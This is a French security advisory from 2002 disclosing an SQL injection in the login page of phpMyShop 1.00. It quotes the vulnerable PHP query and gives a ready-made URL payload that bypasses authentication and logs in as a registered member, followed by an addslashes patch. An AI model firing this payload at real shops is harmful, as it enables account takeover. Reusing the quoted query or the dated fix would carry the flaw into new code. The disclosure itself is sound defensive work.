phpMyShop
*********
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Version : 1.00
Website : http://www.pc-encheres.com
Problème : Injection SQL
Developpement :
°°°°°°°°°°°°°°°
Comme le dit son nom, myphpshop est un service permettant de gérer un site d'e-commerce. Il contient une partie admin,
une partie membre, de quoi composer des factures, proposer des achats,...
Le fichier compte.php permet de se logger ou de s'inscrire. On peut y voir le code :
-----------------------------------------------------------------------------------------------------------------
session_start();
if (isset($achat))
{
session_register("achat");
}
else
{
header("location:index.php");
}
include("design/header.php");
require("config.php");
require("fonction.php");
echo"
Identification |
";
if (isset($valider))
{
$sql = "SELECT id_cli,login_cli,pass_cli FROM $table_client where login_cli='$identifiant' and pass_cli='$password'";
$sql = mysql_db_query($base,$sql);
$test = mysql_num_rows($sql);
if ($test=="0")
{
?>
echo"Identifiant ou mot de passe non valide! ";
}
else
{
$id_membre = mysql_result($sql,0,"id_cli");
session_register("id_membre");
?>
}
}
[...]
-----------------------------------------------------------------------------------------------------------------
On voit d'abord que pour correctement pouvoir executer ce script, il faut que la variable $achat ait une valeur, sinon
on est redirigé vers index.php.
On voit ensuite que la partie login s'execute si $valider a une valeur elle aussi.
La faille vient de cette ligne :
---------------------------------------------------------------------------------------------------------------------
$sql = "SELECT id_cli,login_cli,pass_cli FROM $table_client where login_cli='$identifiant' and pass_cli='$password'";
---------------------------------------------------------------------------------------------------------------------
Si l'execution de cette requête renvois TRUE, on est loggé.
Il faut savoir que en SQL l'expression ''='', comme 1=1 ou 'uu'='uu', renvois toujours TRUE. On va donc tenter
de modifier la requête pour qu'elle renvois TRUE, c'est-à-dire qu'elle devra ressembler à cela :
SELECT id_cli,login_cli,pass_cli FROM $table_client where login_cli='' OR ''='' and pass_cli='' OR ''=''
Si elle est executée comme ci-dessus, on sera loggé en tant que le premier membre enregistré dans la base de donnée.
Pour passer d'un membre à l'autre, il faudra changer la valeur d'$identifiant.
Pour arriver à ces fins, il suffit de composer l'url suivante :
http://[target]/compte.php?achat=1&valider=1&identifiant='%20OR%20''='&password='%20OR%20''='
Solution :
°°°°°°°°°°
Un patch est disponible sur http://www.phpsecure.info.
Avant la requête SQL, dans compte.php, placer les lignes :
--------------------------------------
$identifiant=addslashes($identifiant);
$password=addslashes($password);
--------------------------------------
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : frog-man@frog-man.org
Website : http://www.frog-man.org, http://www.phpsecure.info
Date : 03/03/02 |